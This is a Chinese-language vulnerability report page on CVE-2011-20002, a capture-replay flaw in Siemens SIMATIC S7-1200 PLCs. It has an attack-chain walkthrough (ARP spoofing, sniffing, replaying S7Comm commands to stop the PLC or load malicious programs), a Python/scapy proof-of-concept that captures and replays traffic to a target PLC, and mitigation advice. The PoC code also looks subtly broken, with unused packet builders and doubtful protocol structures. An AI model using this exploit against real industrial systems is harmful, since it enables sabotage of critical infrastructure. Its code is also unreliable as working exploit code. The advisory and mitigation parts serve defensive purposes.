IPBUF安全漏洞报告
English
CVE-2011-20002 CVSS 7.4 高危

CVE-2011-20002:西门子SIMATIC S7-1200 CPU捕获重放漏洞

披露日期: 2025-10-14

漏洞信息

漏洞编号
CVE-2011-20002
漏洞类型
捕获重放攻击 (Capture-Replay)
CVSS评分
7.4 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
西门子SIMATIC S7-1200 CPU V1/V2系列(含SIPLUS变体)

相关标签

捕获重放攻击Capture-Replay中间人攻击On-Path Attack工业控制系统ICSPLC西门子SiemensSIMATIC S7-1200

漏洞概述

CVE-2011-20002是西门子SIMATIC S7-1200 CPU系列可编程逻辑控制器(PLC)中的一个高危安全漏洞。该漏洞存在于控制器与工程软件(如TIA Portal)通信过程中,存在捕获重放(Capture-Replay)缺陷。攻击者可以通过中间人攻击(On-Path Attack)捕获工程软件与控制器之间的合法通信数据,并在之后任意时间重放这些已录制的命令。由于通信协议缺乏有效的时间戳验证或一次性令牌机制,控制器无法区分新请求和重放的旧请求。

该漏洞的严重性在于其对工业控制系统(ICS)安全的影响。SIMATIC S7-1200是西门子广泛应用于工业自动化领域的小型PLC控制器,被部署在制造、能源、水处理等关键基础设施中。攻击者利用此漏洞可以执行任意先前记录的命令,例如将控制器设置为STOP模式、修改控制逻辑或下载恶意程序到控制器中,从而导致生产中断、设备损坏甚至安全事故。

值得注意的是,即使控制器配置了密码保护,此漏洞仍然可以被利用,因为重放攻击使用的是已经通过认证的合法会话数据。此漏洞的CVSS 3.1评分为7.4分,属于高危级别,反映了其对工业生产环境的潜在重大影响。

技术细节

捕获重放攻击是一种经典的中间人攻击形式,其技术原理如下:

1. **协议缺陷**:SIMATIC S7-1200 CPU与工程软件之间的通信协议(基于西门子专有的S7Comm协议)缺乏足够的防重放保护机制。正常的认证握手过程中,客户端和服务器之间交换的认证数据可以被攻击者完整捕获和重放。

2. **缺乏会话保护**:协议未实现时间戳验证、序列号递增检查或一次性随机数(Nonce)机制来确保每个命令的唯一性和时效性。这使得攻击者可以无限次重放之前捕获的合法数据包。

3. **攻击流程**:
- 攻击者首先需要处于工程软件与PLC之间的网络路径上(On-Path位置),这可以通过ARP欺骗、DNS劫持或物理接入工业网络实现。
- 等待合法的工程会话建立,捕获完整的认证握手数据包和后续的命令数据包。
- 在之后的任意时间点,将捕获的数据包原样重放到PLC。
- PLC将重放的数据包视为合法命令并执行。

4. **绕过密码保护**:由于重放的是已经通过认证的会话数据,PLC会接受这些命令,即使后续密码已被更改或从未提供给攻击者。这意味着即使管理员设置了强密码保护,也无法阻止此类攻击。

5. **攻击影响**:攻击者可以执行STOP命令使PLC停止运行、上传恶意程序块、修改现有程序逻辑、读取敏感工艺数据或执行其他任何合法的工程操作。

攻击链分析

STEP 1
步骤1:网络定位
攻击者通过ARP欺骗、交换机端口镜像、物理接入或恶意软件感染等方式,获得工程软件(Engineering Station)与SIMATIC S7-1200 PLC之间网络通信路径上的中间人(On-Path)位置。
STEP 2
步骤2:会话捕获
攻击者使用网络嗅探工具(如Wireshark、tcpdump或Scapy)监听并捕获工程软件与PLC之间完整的合法通信会话,包括认证握手数据包和后续的工程操作命令(如程序下载、PLC启停控制等)。
STEP 3
步骤3:数据分析
攻击者分析捕获的S7Comm协议数据包,提取关键的认证凭证和操作命令。由于协议缺乏防重放机制,这些数据包可以在任何时间被重复使用。
STEP 4
步骤4:命令重放
在之后的任意时间点(可能数小时、数天甚至数周后),攻击者将捕获的数据包重新发送到PLC。PLC无法识别这些是重放的旧数据包,将其视为合法命令并执行。
STEP 5
步骤5:恶意操作
通过重放攻击,攻击者可以执行STOP命令使PLC停止运行、下载恶意控制程序、修改工艺参数或窃取敏感数据。即使PLC配置了密码保护,由于使用的是已认证的会话数据,密码保护无法阻止此类攻击。
STEP 6
步骤6:影响扩大
PLC被攻击后可能导致生产中断、设备损坏、工业事故或对下游物理过程造成连锁影响,在关键基础设施环境中可能引发严重安全事故。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2011-20002 - SIMATIC S7-1200 Capture-Replay Attack PoC # This PoC demonstrates the capture-replay vulnerability in SIMATIC S7-1200 CPU # Using scapy to craft and replay S7Comm packets from scapy.all import * from scapy.layers.inet import TCP, IP import struct import time # S7Comm protocol constants S7COMM_PORT = 102 # ISO-on-TCP / TPKT port def build_tpkt_header(payload_len): """Build TPKT header for S7Comm packet""" return struct.pack('>BBH', 3, 0, payload_len + 4) def build_cotp_cr_packet(): """Build COTP Connection Request packet""" # COTP CR (Connection Request) TPDU cotp_cr = b'\x11\xe0\x00\x00\x00\x01\x00\xc1\x02\x01\x00\xc2\x02\x01\x00\xc0\x01\x0a' tpkt = build_tpkt_header(len(cotp_cr)) return tpkt + cotp_cr def build_s7comm_setup_communication(): """Build S7Comm Setup Communication packet""" # S7Comm header: protocol id, ROSCTR=1 (Job), redundancy identification s7_header = struct.pack('>HHH', 0x0032, 0x0001, 0x0000) # Setup communication parameter setup_param = struct.pack('>BBBBHHBB', 0xf0, # Function: Setup communication 0x00, # Reserved 0x00, 0x01, # Max AmQ calling 0x01, 0x00, # Max AmQ called 0x01e0, # PDU length ) payload = s7_header + setup_param tpkt = build_tpkt_header(len(payload)) return tpkt + payload def build_s7comm_stop_cpu(): """Build S7Comm STOP CPU command packet""" # S7Comm header s7_header = struct.pack('>HHH', 0x0032, 0x0001, 0x0000) # Userdata parameter - STOP CPU command # Function group: CPU functions (0x00) # Subfunction: STOP (0x29) userdata = struct.pack('>BBBBBB', 0x00, # Param count 0x00, # Param length high 0x05, # Param length low 0x00, # Data count 0x00, # Data length high 0x00, # Data length low ) # STOP CPU command structure stop_cmd = struct.pack('>BBBBBBBB', 0x11, # Function 0x00, # Subfunction 0x00, # Sequence number 0x00, 0x00, # Reserved 0x09, # Method: STOP 0x00, 0x00, ) payload = s7_header + userdata + stop_cmd tpkt = build_tpkt_header(len(payload)) return tpkt + payload def capture_session(interface, target_ip, duration=30): """ Phase 1: Capture legitimate engineering session Sniff packets between engineering software and PLC """ print(f"[*] Capturing S7Comm session on {interface} for {duration}s...") print(f"[*] Target PLC: {target_ip}:{S7COMM_PORT}") captured_packets = [] def packet_handler(pkt): if pkt.haslayer(TCP) and pkt[TCP].dport == S7COMM_PORT: captured_packets.append(bytes(pkt[TCP].payload)) print(f"[+] Captured {len(captured_packets)} S7Comm packet(s)") sniff(iface=interface, prn=packet_handler, timeout=duration, lfilter=lambda x: x.haslayer(TCP) and x[TCP].dport == S7COMM_PORT) return captured_packets def replay_attack(target_ip, captured_packets): """ Phase 2: Replay captured packets to the PLC This exploits the lack of replay protection in S7-1200 """ print(f"\n[*] Starting replay attack against {target_ip}...") for i, pkt_data in enumerate(captured_packets): try: # Send raw TCP data to PLC sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(5) sock.connect((target_ip, S7COMM_PORT)) sock.send(pkt_data) response = sock.recv(4096) sock.close() print(f"[+] Replayed packet {i+1}/{len(captured_packets)} - Response: {len(response)} bytes") time.sleep(0.5) except Exception as e: print(f"[-] Error replaying packet {i+1}: {e}") print("[+] Replay attack completed!") def main(): """Main exploit function for CVE-2011-20002""" print("=" * 60) print("CVE-2011-20002 - SIMATIC S7-1200 Capture-Replay Exploit") print("=" * 60) target_ip = "192.168.0.1" # Target PLC IP address interface = "eth0" # Network interface for sniffing # Step 1: Capture legitimate session packets = capture_session(interface, target_ip, duration=60) if packets: # Step 2: Wait and replay print("[*] Waiting 10 seconds before replay...") time.sleep(10) replay_attack(target_ip, packets) else: print("[-] No packets captured. Ensure you're on-path between engineering software and PLC.") if __name__ == "__main__": main()

影响范围

SIMATIC S7-1200 CPU V1系列(含SIPLUS变体):所有 < V2.0.2 的版本
SIMATIC S7-1200 CPU V2系列(含SIPLUS变体):所有 < V2.0.2 的版本

防御指南

临时缓解措施
在无法立即升级固件的临时情况下,建议采取以下缓解措施:1)通过物理隔离或网络分段限制对PLC的网络访问,确保只有授权的工程站能够与PLC通信;2)部署工业防火墙监控S7Comm流量,检测和阻止可疑的重放数据包;3)使用交换机端口安全功能(如DHCP Snooping、Dynamic ARP Inspection)防止ARP欺骗攻击;4)对关键PLC实施物理访问控制,限制未经授权人员接触网络设备;5)建立网络流量基线,实时监控异常通信模式;6)在工程站和PLC之间部署加密隧道(如IPsec VPN)增加通信安全性。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表